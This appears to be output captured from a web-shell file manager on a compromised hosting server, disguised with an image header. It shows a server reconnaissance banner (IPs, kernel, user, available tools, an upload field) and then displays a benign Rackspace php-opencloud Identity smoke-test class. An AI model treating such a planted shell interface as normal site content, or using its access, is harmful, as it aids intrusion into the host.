����JFIF��x�x����'
Server IP : 78.140.185.180 / Your IP : 18.220.182.171 Web Server : LiteSpeed System : Linux cpanel13.v.fozzy.com 4.18.0-513.11.1.lve.el8.x86_64 #1 SMP Thu Jan 18 16:21:02 UTC 2024 x86_64 User : builderbox ( 1072) PHP Version : 7.3.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/builderbox/public_html/vendor/rackspace/php-opencloud/tests/OpenCloud/Smoke/Unit/ |
Upload File : |
<?php /** * Copyright 2012-2014 Rackspace US, Inc. * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ namespace OpenCloud\Smoke\Unit; class Identity extends AbstractUnit implements UnitInterface { public function setupService() { return $this->getConnection()->identityService(); } public function main() { //$this->executeUsers(); //$this->executeRoles(); $this->executeTokens(); $this->executeTenants(); } public function executeUsers() { $step1 = $this->step('List users'); $users = $this->service->getUsers(); foreach ($users as $_user) { $this->stepInfo('User: %s [%s]', $_user->getUsername(), $_user->getId()); } // get user $this->step('Get user'); $user = $this->service->getUser('jamiehannaford1', 'name'); $this->stepInfo('Username: %s', $user->getUsername()); $this->stepInfo('ID: %s', $user->getId()); $this->stepInfo('Email: %s', $user->getEmail()); $this->stepInfo('Default region: %s', $user->getDefaultRegion()); // create user $this->step('Create user'); $user = $this->service->createUser(array( 'username' => 'SMOKETEST_user_' . time(), 'email' => sprintf('foo_%s@example.com', time()), 'enabled' => true )); // update user $this->step('Update user'); $user->update(array( 'enabled' => false )); // list users $step1 = $this->step('List users'); $users = $this->service->getUsers(); foreach ($users as $_user) { $this->stepInfo(sprintf('User: %s [%s]', $_user->getUserName(), $_user->getId())); } // reset API key $this->step('(Re)set API key'); $this->stepInfo($user->resetApiKey()); // get API key $this->step('Get API key'); $this->stepInfo($user->getApiKey()); // list roles $step = $this->step('List user roles'); $roles = $user->getRoles(); foreach ($roles as $role) { $this->stepInfo($role->getName()); } // delete user $this->step('Delete user'); $user->delete(); } public function executeRoles() { // list roles $this->step('List roles'); $roles = $this->service->getRoles(); foreach ($roles as $role) { $this->stepInfo('Role: %s [%s]', $role->getName(), $role->getId()); $roleId = $role->getId(); } // DOES NOT WORK // get role $this->step('Get role'); //$role = $this->service->getRole($roleId); //$this->stepInfo('Role: %s, %s, %s', $roleId, $role->getName(), $role->getDescription()); } public function executeTokens() { // revoke $this->step('Revoke token'); $this->service->revokeToken($this->getConnection()->getToken()); $this->getConnection()->authenticate(); } public function executeTenants() { // list tenants $this->step('List tenants'); $tenants = $this->service->getTenants(); foreach ($tenants as $tenant) { $this->stepInfo('Tenant: %s [%s]', $tenant->getName(), $tenant->getId()); } } public function teardown() { } }